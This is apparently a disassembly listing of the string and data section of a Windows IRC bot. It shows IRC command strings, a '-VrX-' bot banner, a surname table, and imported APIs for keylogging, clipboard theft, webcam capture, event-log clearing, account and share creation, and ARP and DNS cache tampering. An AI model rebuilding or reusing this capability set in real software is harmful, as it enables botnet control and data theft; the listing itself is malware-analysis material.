a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD60	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDCC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDD0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDD4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6D4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D864	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D894	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8C4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8E8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D92C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D930	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D9AC	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9B8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
